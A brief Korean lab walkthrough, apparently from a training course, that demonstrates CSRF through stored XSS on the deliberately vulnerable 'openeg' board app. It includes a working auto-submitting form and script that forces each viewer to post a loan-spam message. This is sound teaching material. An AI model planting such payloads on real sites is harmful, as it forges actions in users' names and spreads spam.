openeg CSRF

openeg CSRF

 

CSRF 취약점을 가지고 있는 게시판에 자동 글쓰기 코드 추가

(1) eclipse에서 Ctrl + Shift + R을 눌러 BoardController.Java를 검색합니다.

 

(2) 이전에 수정했던 코드를 주석처리합니다.

 

(3) http://victim:8080/openeg에 접속하여 로그인합니다. (test/test)

 

(4) 게시판 내용에 스크립트 코드를 추가했을 때 스크립트 코드가 동작하는지 확인합니다.

게시글 작성
스크립트 코드 작동

=> 게시글을 작성하고, 작성한 게시글을 확인하면 스크립트 코드가 동작하는 것을 확인할 수 있습니다.

 

(5) 게시판 글쓰기 화면이 동작하는 코드를 확인합니다.

 

(6) 게시판 코드를 바탕으로 다음 코드를 생성하여 게시글을 등록합니다.

<form action="write.do" method="post" enctype="multipart/form-data">
<input type="text" name="subject" value="청년 대출 안내" /> 
<input type="hidden" name="writer" value="박실장" /> 
<input type="hidden" name="writerId" value="test" />
<textarea name="content">청년(만 39세이하)을 대상으로 시중에서 가장 낮은 금리의 상품을 연결해 드립니다. 연락주세요.</textarea>
<input type="submit" id="btnSubmit" />
</form>

<script> document.getElementById("btnSubmit").click(); </script>

게시글 등록

 

(7) 작성된 게시글을 클릭합니다.

=> 게시글을 클릭하면 공격자가 작성한 스크립트 코드가 실행됩니다.

=> 게시글 클릭할 때마다 김실장이 작성한 글이 생성됩니다.

=> 사용자로 하여금 요청이 처리되어 스크립트 코드가 실행되게 만드는 공격입니다.